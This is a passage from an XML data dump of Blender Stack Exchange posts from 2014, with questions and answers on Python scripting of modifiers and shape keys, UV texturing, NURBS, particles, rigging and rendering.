needs.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-09-05T01:06:34.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15584" PostTypeId="1" AcceptedAnswerId="15588" CreationDate="2014-09-05T00:56:29.620" Score="8" ViewCount="6552" Body="&lt;p&gt;I've seen a couple of good examples of creating modifiers and applying them to objects, but they don't seem to be working for me. Or at least are only working part way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My function takes a modifier type (in my test case, &lt;code&gt;'UNION'&lt;/code&gt;) and a list of objects. The first object is the &lt;code&gt;target&lt;/code&gt; and the rest are going to be the modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this executes, my target still has the stack of modifiers attached to it. I have to manually push the &lt;em&gt;Apply&lt;/em&gt; button in the UI for each one. How can I make that happen in my script?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def applyModifier (self, mod, items):&#xA;    target = items[0]&#xA;    for i in range(1, len(items)):&#xA;        objB = items[i]&#xA;        boo = target.modifiers.new('Booh', 'BOOLEAN')&#xA;        boo.object = objB&#xA;        boo.operation = mod&#xA;        bpy.ops.object.modifier_apply(apply_as='DATA', modifier=&quot;Booh&quot;)&#xA;        bpy.context.scene.objects.unlink(objB)&#xA;    return target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The subordinate objects do unlink from the scene, so I know that bit of code is executing properly.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastEditorUserId="1363" LastEditDate="2014-09-05T18:48:02.513" LastActivityDate="2020-06-10T05:24:57.213" Title="Applying modifiers in a script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15585" PostTypeId="2" ParentId="15581" CreationDate="2014-09-05T01:05:38.260" Score="13" Body="&lt;p&gt;I would use &lt;em&gt;limited dissolve&lt;/em&gt; as &lt;a href=&quot;https://blender.stackexchange.com/a/15583/599&quot;&gt;mentioned by David&lt;/a&gt;, but in case you want to do this non-destructively, then you can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;noreferrer&quot;&gt;Decimate modifier&lt;/a&gt; in Planar mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3NkQ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-09-05T01:10:56.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15587" PostTypeId="1" AcceptedAnswerId="15590" CreationDate="2014-09-05T01:39:40.583" Score="0" ViewCount="137" Body="&lt;p&gt;So, I modeled a character and went through the process of unwrapping the mesh to paint his markings and details, and baked it and all that fun stuff when after applying my finished material with the image file attached it worked terrifically, but then I decided to re-topologize the mesh. After trying to apply the material to the new mesh, I get a repetition of the image all over the mesh instead of it wrapping around the character like it should. I've been using blender for about a month, so I don't even know where to begin to fix this problem, I've already been all over Google trying to solve it. Can someone please help? If I need to give files or something can someone tell me how to do so? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll show two images, the first is the problem and the second one is the character before the re-topology, when everything was normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1hONn.jpg&quot; alt=&quot;texturing problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mluln.jpg&quot; alt=&quot;good character&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5557" LastEditorUserId="2217" LastEditDate="2014-09-05T13:16:51.853" LastActivityDate="2014-09-05T13:16:51.853" Title="Why is my material in cycles rendering as as multiple images instead of covering the surface properly?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15588" PostTypeId="2" ParentId="15584" CreationDate="2014-09-05T02:16:49.787" Score="11" Body="&lt;p&gt;Since you're using something from &lt;code&gt;bpy.ops&lt;/code&gt;, you need to get the editor state right (this is the failing of most of &lt;code&gt;bpy.ops&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably need to set &lt;code&gt;bpy.context.scene.objects.active = target&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in 2.8+&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.view_layer.objects.active = target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="15543" LastEditDate="2020-06-10T05:24:57.213" LastActivityDate="2020-06-10T05:24:57.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15589" PostTypeId="2" ParentId="15578" CreationDate="2014-09-05T02:24:42.487" Score="4" Body="&lt;p&gt;Just place the unwanted faces outside the UV map before baking.&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="599" LastEditDate="2014-09-05T03:09:58.177" LastActivityDate="2014-09-05T03:09:58.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15590" PostTypeId="2" ParentId="15587" CreationDate="2014-09-05T13:14:03.887" Score="3" Body="&lt;p&gt;&quot;I decided to re-topologize the mesh&quot; there is your trouble, look at the UV map for the re-topologized mesh. You will probably find that the new UV map looks nothing like the old UV map.&lt;br&gt;&#xA;Because I do not know the process you used to UV unwrap your mesh, I can not advise you on how to do in on your new mesh.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-05T13:14:03.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15591" PostTypeId="1" AcceptedAnswerId="15608" CreationDate="2014-09-05T13:40:43.020" Score="4" ViewCount="1034" Body="&lt;p&gt;I'm exploring Blender's NURBS functionality. So far, I've been able to define two curves and create a NURBS surface between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Blender support more advanced NURBS features like &lt;a href=&quot;http://help.autodesk.com/view/3DSMAX/2015/ENU/?guid=GUID-6DC30BD4-6592-42D9-8FC6-C25D539F29A9&quot; rel=&quot;nofollow&quot;&gt;trimming&lt;/a&gt; and &lt;a href=&quot;http://help.autodesk.com/view/3DSMAX/2015/ENU/?guid=GUID-42B4367F-3C10-454A-8C15-05AF450A3107&quot; rel=&quot;nofollow&quot;&gt;blend surfaces&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fine if the interface is still lacking. If the functionality is available at all, I'll probably want to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, I'm interested in NURBS because I do a lot of mechanical modeling. Meshes work for that, but NURBS are a much cleaner way to model a lot of man-made objects.&lt;/p&gt;&#xA;" OwnerUserId="5886" LastActivityDate="2015-02-18T00:51:45.977" Title="NURBS trimming, blend surfaces" Tags="&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15593" PostTypeId="1" CreationDate="2014-09-05T16:21:43.817" Score="6" ViewCount="3721" Body="&lt;p&gt;I need to change vertex position in a shapekey through python. Is it possible to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now i can only get vertices coordinates. But how to change the vertex coordinate of shapekey?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj1 = bpy.context.selected_objects[0]&#xA;for vert in obj1.data.vertices:&#xA;    print(vert.co)  # this is a vertex coord of the mesh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example i want to change avertex coordinates of a ShapeKey &quot;Key1&quot;.&#xA;&lt;a href=&quot;https://i.imgur.com/erM03j9.png&quot; rel=&quot;noreferrer&quot;&gt;http://i.imgur.com/erM03j9.png&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-09-06T08:58:05.970" Title="How to change shapekey vertex position through python" Tags="&lt;python&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15594" PostTypeId="2" ParentId="15593" CreationDate="2014-09-05T17:02:53.617" Score="5" Body="&lt;p&gt;Shape key coordinates live in a bmesh &quot;layer&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included a copy of &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/explore-shape-keys.html&quot; rel=&quot;noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/explore-shape-keys.html&lt;/a&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def dump(mesh):&#xA;&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;&#xA;    for key in bm.verts.layers.shape.keys():&#xA;        val = bm.verts.layers.shape.get(key)&#xA;        print(&quot;%s = %s&quot; % (key,val) )&#xA;        sk=mesh.shape_keys.key_blocks[key]&#xA;        print(&quot;v=%f, f=%f&quot; % ( sk.value, sk.frame))&#xA;        for i in range(len(bm.verts)):&#xA;            v = bm.verts[i]&#xA;            delta = v[val] - v.co&#xA;            if (delta.length &amp;gt; 0):&#xA;                print ( &quot;v[%d]+%s&quot; % ( i,delta) )&#xA;&#xA;dump(bpy.context.active_object.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code for creating and populating shape keys can be found at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/shape-key-fin.html&quot; rel=&quot;noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/shape-key-fin.html&lt;/a&gt; and I have extracted the most interesting bit here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def addShapeKey(obj, i, nKeys, z1, z2, dTheta, thetaLag):&#xA;    kn = &quot;phase %d&quot;%i&#xA;    sk = obj.shape_key_add(kn)&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(obj.data)&#xA;    sl = bm.verts.layers.shape.get(kn)&#xA;&#xA;&#xA;    for u in range( math.floor(len(bm.verts) / 3)):&#xA;        t = math.pi*2*i/nKeys&#xA;        bm.verts[u*3][sl] = vert1For(u, t)&#xA;        bm.verts[u*3+1][sl] = vert2For(u, t, dTheta, z1)&#xA;        bm.verts[u*3+2][sl] = vert3For(u, t, dTheta, z2, thetaLag)&#xA;&#xA;    bm.to_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-09-05T17:02:53.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15595" PostTypeId="2" ParentId="15559" CreationDate="2014-09-05T17:07:14.687" Score="2" Body="&lt;p&gt;There are a variety of settings that effect the time it takes to render a scene with cycles. Of all these settings there are really only three things that vary between preview and final rendering - resolution, samples and compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resolution can make a difference if you have a small 3dview to preview render in while you can see your nodes and uv editor... the final render resolution may be a lot larger than the visible 3dview so will take longer to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The samples is the one settings that offers a separate preview and final render setting, it is common to have preview samples as a small number and final render much higher. If the low samples used for preview is giving a quality finish you don't need to have the final render samples any higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JszII.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compositing and render layers can also add time to the final render if you have anything setup there.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-05T17:07:14.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15596" PostTypeId="2" ParentId="15577" CreationDate="2014-09-05T17:10:22.130" Score="0" Body="&lt;p&gt;You might be able to build on the techniques from &lt;a href=&quot;https://stackoverflow.com/questions/6286033/reading-32-bit-signed-ieee-754-floating-points-from-a-binary-file-with-python&quot; title=&quot;Reading 32 bit signed ieee 754 floating points from a binary file with python?&quot;&gt;Reading 32 bit signed ieee 754 floating points from a binary file with python?&lt;/a&gt;.  I don't have any physics caches lying around to experiment upon, but hopefully this will get you started.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-09-05T17:10:22.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15597" PostTypeId="2" ParentId="15561" CreationDate="2014-09-05T17:36:41.050" Score="1" Body="&lt;p&gt;As well as keyframing masks you can get a lot of control by making your own animated video strip and using it as a mask strip. CGCookie has a &lt;a href=&quot;https://cgcookie.com/archive/vse-custom-mask-transitions/&quot; rel=&quot;nofollow&quot;&gt;archived tutorial&lt;/a&gt; that covers making and using the mask video. The only other tutorial I know of is &lt;a href=&quot;https://www.youtube.com/watch?v=qK-k2N2Vxig&quot; rel=&quot;nofollow&quot;&gt;by David McSween&lt;/a&gt;, he uses a single greyscale image and animates the brightness and contrast to get the transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basics of creating an animated video to use as a mask is to create a video that defines the transition, black shows the old strip, white shows the new strip with levels of grey a mixture of the two. You can easily imagine using blender to create a simple animation of shapes for this, add this transition video as a strip in the VSE and then add a mask modifier and select the transition strip.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="25" LastEditDate="2015-11-22T21:46:26.883" LastActivityDate="2015-11-22T21:46:26.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15598" PostTypeId="2" ParentId="2993" CreationDate="2014-09-05T17:39:47.687" Score="3" Body="&lt;p&gt;The given answers are ok for a few objects with keyframes, but if you have a lot of objects. Then select all objects, go in the graph editor and hit &lt;kbd&gt;A&lt;/kbd&gt; to select all keyframes. Then &lt;kbd&gt;X&lt;/kbd&gt; to delete all selected. All keyframes are gone in more less steps. &lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="2217" LastEditDate="2014-09-05T21:05:44.127" LastActivityDate="2014-09-05T21:05:44.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15599" PostTypeId="2" ParentId="15559" CreationDate="2014-09-05T18:13:30.390" Score="2" Body="&lt;p&gt;It sounds like you want a copy of what's showing on the viewport, but rendered to an image using the camera's resolution settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several options, each with their own caveats:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;OpenGL Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want the &quot;OpenGL Render.&quot; There are some settings for this in their own section of the render settings panel, and there is a &quot;render OpenGL image&quot; button at the bottom of the viewport, which looks like a photo camera. Incidentally, there's also a &quot;Render OpenGL Animation&quot; button right next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you an image that's exactly the same as what you see in your viewport, but anti-aliased (if OpenGL AA is turned on) and at the resolution you set for your render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;Emissive Shader&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wanting a &quot;shadeless&quot; equivalent for Cycles, the closest you'll get is using an emission shader. Create your textures as an emission shader (start with a strength of 1) and it won't accept any shading, making it nice and even... incidentally, emission shaders also render &lt;strong&gt;much&lt;/strong&gt; faster than other shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;strong&gt;Direct Lighting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If THAT doesn't work, I'd make a giant emissive plane right behind the camera to light your material plane evenly, and then render using the &quot;Direct Lighting&quot; preset (or something similar). This won't be as fast as an emission shader, but it will refrain from calculating any additional bounces (if it can't find the light after one bounce, that pixel is considered unlit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-09-05T18:13:30.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15600" PostTypeId="2" ParentId="6707" CreationDate="2014-09-05T18:14:12.600" Score="3" Body="&lt;p&gt;You definitely need to use Quaternion rotation, but you don't have to use linear interpolation. If you set it to Bezier and set the handles to Automatic, then select all in the Graph window, then hit Shift+S, you can select Flatten Handles, which will help fix the problem of different cubies moving at different rates than their neighbors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also add keyframes for all cubies whenever you record a turn, so that all the handles are the same widths. These two things together will completely solve your F-Curve troubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also move the individual centers of your cubies to the center of the whole cube, so they rotate correctly, and so that the only keyframes you'll need are those of Rotation.&lt;/p&gt;&#xA;" OwnerUserId="5916" LastEditorUserId="5916" LastEditDate="2014-09-06T18:14:23.780" LastActivityDate="2014-09-06T18:14:23.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15601" PostTypeId="1" CreationDate="2014-09-05T19:13:35.147" Score="6" ViewCount="10514" Body="&lt;p&gt;I am using a Particle system to simulate falling dust / debris. The particle start and end fairly quickly. They should look like a short burst of falling dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant figure out how to get the particles to fall at slightly different speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particles should be falling downwards with very little Brownian motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the particles are falling at the same speed makes them look odd / too uniform (almost like a static image of some particles which is moving down rather than individual particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the particles end at a set frame so I get a uniform trailing edge (as below).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QxwL8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of air drag helps a bit but not much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1. how to vary the downward speed of the particles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question2. Can the density of particles be animated so I can brake up the distribution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Oliver&lt;/p&gt;&#xA;" OwnerUserId="2224" LastActivityDate="2016-04-24T00:43:48.577" Title="Particle speed and density" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15602" PostTypeId="2" ParentId="14891" CreationDate="2014-09-05T19:23:20.627" Score="1" Body="&lt;p&gt;As a previous answer suggested you can import external objects or append objects from other blend files (&lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Append&lt;/em&gt; or &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Import&lt;/em&gt;). Once imported / appended, you can join them to an existing object by selecting the objects you want to join and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. &lt;/p&gt;&#xA;" OwnerUserId="5907" LastEditorUserId="25" LastEditDate="2015-12-17T12:54:34.993" LastActivityDate="2015-12-17T12:54:34.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15603" PostTypeId="2" ParentId="15601" CreationDate="2014-09-05T19:31:38.927" Score="0" Body="&lt;p&gt;This may be overkill for just a small puff of dust, but for a good looking effect I would use smoke particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about the smoke simulator &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  The documentation is kind of old and uses BI, so &lt;a href=&quot;http://youtu.be/oSiV5gg_lCs&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is here is a video on using it in cycles.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-09-05T19:31:38.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15604" PostTypeId="2" ParentId="15341" CreationDate="2014-09-05T19:40:04.267" Score="1" Body="&lt;p&gt;Created two &quot;endpoint&quot; objects that move in gamelogic mode. Then grab their center location do some geometry and python code changes the cylinder (rope). only used one endpoint in the code below as the other endpoint was origin (0, 0, 0). Also note that this only watches one plane (x and z axis).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#get endpoint center location&#xA;boom_endpoint = boom_point.worldPosition&#xA;&#xA;#get distance between endpoints    &#xA;y_pow = (boom_endpoint[2])**2&#xA;x_pow = (boom_endpoint[0])**2&#xA;rope_distance = math.sqrt(x_pow + y_pow)&#xA;&#xA;#scale value for axis that need to be stretched &#xA;new_scale = rope_distance/2&#xA;&#xA;#angle between endpoints to rotate the rope&#xA;angle = math.asin(boom_endpoint[2]/rope_distance)             &#xA;rope.localOrientation = rope.localOrientation * mathutils.Vector((math.radians(0), angle, math.radians(0))) &#xA;#apply scale and location changes&#xA;rope.localScale = mathutils.Vector((1, 1, new_scale))&#xA;rope.worldPosition = mathutils.Vector(((boom_endpoint[0]+0)/2, 0, (boom_endpoint[2]+0)/2))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5787" LastActivityDate="2014-09-05T19:40:04.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15605" PostTypeId="2" ParentId="15568" CreationDate="2014-09-05T19:58:34.177" Score="0" Body="&lt;p&gt;It sometimes happens that things that seem particularly difficult to accomplish in one manner (such as linking vertices between meshes) become much simpler with solutions based upon modifications to the workflow. In the present case, while the first workflow concept was to use two separate objects, one to represent the roads, and the other the terrain, then in the road one, to remove every vertex that was not within a certain distance of the centerline of the road from one object so that one had the roads and a flange, and remove the road vertices from the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the problem further, I realized there are two different solutions to the problem possible that do not require linking elements between objects, by creating different meshes within the same object. One method starts with a single &quot;mega-mesh&quot;, in which the roads are created on one mesh, and at a later point, boundaries for the road mesh are defined, and selected, and then the selection is converted to a separate mesh later in the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other solution involves creating the roads and the terrain as separate meshes within the same object. Now one can place the 3d cursor at one selected vertex, by snapping cursor to selected, and then after selecting the other vertex, use snap selected to cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, later in the workflow the two meshes can be separated to separate objects if desired.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-09-06T19:04:54.340" LastActivityDate="2014-09-06T19:04:54.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15608" PostTypeId="2" ParentId="15591" CreationDate="2014-09-06T03:40:33.727" Score="4" Body="&lt;p&gt;This functionality was recently being worked on as part of GSOC 2014. You can view the results of the project &lt;a href=&quot;http://wiki.blender.org/index.php/User:Jjoonathan/NURBS_Final_Report&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has not yet been merged into master, but you can compile it yourself (the branch can be found &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/soc-2014-nurbs/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-06T03:56:00.697" LastActivityDate="2014-09-06T03:56:00.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15609" PostTypeId="1" AcceptedAnswerId="15617" CreationDate="2014-09-06T06:51:10.663" Score="4" ViewCount="9025" Body="&lt;p&gt;A total noob here I'm afraid. I've followed a couple tutorials in order to create a human mesh and set up an armature, however I've hit a roadblock with bone-rolling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I orient the bones' axes so that I can successfully paste an x-flipped pose? I think I got the legs and spine working, but I have no idea which way the axes should be for the arms. I've messed around with the Ctrl+N bone-rolling option to align the bones in various directions, but I'm not sure what end result I should be looking for and none of what I've tried seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an upload of the file: &lt;a href=&quot;http://www.fast-files.com/getfile.aspx?file=78626&quot; rel=&quot;nofollow&quot;&gt;http://www.fast-files.com/getfile.aspx?file=78626&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Problem fixed! Thank you for your helpful responses. Turns out I had a key issue of the opposite arm IK bone I was testing being named slightly wrong. &lt;em&gt;facepalm&lt;/em&gt; But once I was clear on how the axes should be oriented and confident I had it right it was a lot easier to see what the real problem was. Many thanks!!&lt;/p&gt;&#xA;" OwnerUserId="5922" LastEditorUserId="5922" LastEditDate="2014-09-08T02:14:44.673" LastActivityDate="2020-06-26T08:56:36.327" Title="In which direction should bone axes be oriented?" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15610" PostTypeId="2" ParentId="15593" CreationDate="2014-09-06T08:58:05.970" Score="2" Body="&lt;p&gt;Thanks to all of you. CodeMax's line solved the issue!&#xA;Just select some models with the same points count and make morphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/9MIQSIK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/9MIQSIK.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objAct = bpy.context.scene.objects.active&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj != objAct:&#xA;        shapeKey = objAct.shape_key_add(from_mix=False)&#xA;        shapeKey.name = obj.name&#xA;&#xA;        for vert in obj.data.vertices:&#xA;            shapeKey.data[vert.index].co = vert.co&#xA;            #print(vert.co)  # this is a vertex coord of the mesh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-09-06T08:58:05.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15611" PostTypeId="1" AcceptedAnswerId="15614" CreationDate="2014-09-06T08:58:39.873" Score="4" ViewCount="416" Body="&lt;p&gt;Just curious, how or what algorithm does blender use to calculate the solve error in camera tracking. A quantitative explanation would be great.&lt;/p&gt;&#xA;" OwnerUserId="4931" LastActivityDate="2016-03-22T15:15:18.153" Title="How does blender calculate the solve error in camera tracking?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15612" PostTypeId="2" ParentId="15609" CreationDate="2014-09-06T09:08:04.293" Score="2" Body="&lt;p&gt;The bones should be oriented along the y-axis (I think this is rather a convention than a requirement). The x and z-axis should be consistently point to one (normal) direction. This allows easy setup of constraints like &lt;em&gt;Copy Rotation&lt;/em&gt; when it comes to bend fingers etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTagW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.79/rigging/armatures/bones/editing/bones.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Editing Bone Properties&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="99155" LastEditDate="2020-06-26T08:56:36.327" LastActivityDate="2020-06-26T08:56:36.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15613" PostTypeId="1" AcceptedAnswerId="15618" CreationDate="2014-09-06T09:40:37.017" Score="3" ViewCount="520" Body="&lt;p&gt;I recently came across this issue while trying to model a fence; I want the sides of a cylinder to be cut into squares, but currently I have to guess if they look right or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TgjIp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workflow is just add a loop cut and scroll up with the mouse wheel until it &lt;em&gt;seems&lt;/em&gt; to be right. As far as I know, there's no better  way to do this (at least easily).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-06T12:37:35.240" Title="How to loop cut a cylinder into squares" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
